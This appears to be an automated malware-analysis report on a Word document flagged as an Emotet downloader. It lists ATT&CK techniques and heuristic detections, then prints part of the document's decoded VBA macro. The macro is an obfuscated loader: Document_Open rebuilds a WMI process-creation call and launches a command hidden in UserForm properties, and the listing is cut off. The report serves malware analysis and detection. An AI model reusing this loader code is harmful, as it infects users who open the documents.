MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The VBA code appears to be obfuscated but is designed to execute a payload, likely by downloading it from a remote source.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-9206438-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-9206438-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5057 bytes |
SHA-256: e1fb9b9b244b31b2e54309cd2b639915e8dd604d6944485cb6eeaf0828754d7e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "TSTPPwyfgkerq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
VGZLMqjljpciozw.VIGEEfalvrkh
End Sub
Attribute VB_Name = "VGZLMqjljpciozw"
Attribute VB_Base = "0{D2D258A5-3C45-420A-8B77-95D704CE4866}{60F9D409-A3ED-4C2C-8EEC-C70F8A45008D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VIGEEfalvrkh()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
PWJBGqufwkfssyie = Chr(VGZLMqjljpciozw.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
EVLOWsprjglsowdim = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + PWJBGqufwkfssyie + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + VGZLMqjljpciozw.ANCUDmeuvqfelne + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
IHOOVkaaqpiuq = OPKRJwzueavaqiu(EVLOWsprjglsowdim)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set ZXUGCpwuyukebvkukao = CreateObject(IHOOVkaaqpiuq)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
SAHALrnssjlke = VGZLMqjljpciozw.PETXBxqwpjvwvpxsx.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
SANMSzzjcwqniyhjwnc = IJK + (IHOOVkaaqpiuq + PWJBGqufwkfssyie + VGZLMqjljpciozw.BIFXMkpyuhmndedr.ControlTipText) + SAHALrnssjlke
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
MIKAXmncfotypfqtcl = SANMSzzjcwqniyhjwnc + VGZLMqjljpciozw.ANCUDmeuvqfelne
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set GNZOIvlgncewgkrbzng = MZEHRiamggfwmjyw(MIKAXmncfotypfqtcl)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", ZXUGCpwuyukebvkukao. _
Create(DWRNEqdembgvehjxpbl, MNVNZivhlfyvko, GNZOIvlgncewgkrbzng), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function MZEHRiamggfwmjyw(ZQHQBghtbteewuh)
Set MZEHRiamggfwmjyw = CreateObject(ZQHQBghtbteewuh)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
MZEHRiamggfwmjyw.showwindow = (ZISNMvvdyduzd + VZLRWilinmpqkiwevi) + (DWBQCznrjwkeirnpfm + OFURUgxwlmhuh)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function OPKRJwzueavaqiu(ZSPMUgzjkccxbzvyfik)
WQGUDxlllrxhfkwkaqu = ZSPMUgzjkccxbzvyfik
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
CXLTXnppvhklyxgwy = Split _
(WQGUDxlllrxhfkwkaqu, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
DDFBDycknqbcfj = fder + Join(CXLTXnppvhklyxgwy, bzder)
Di
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.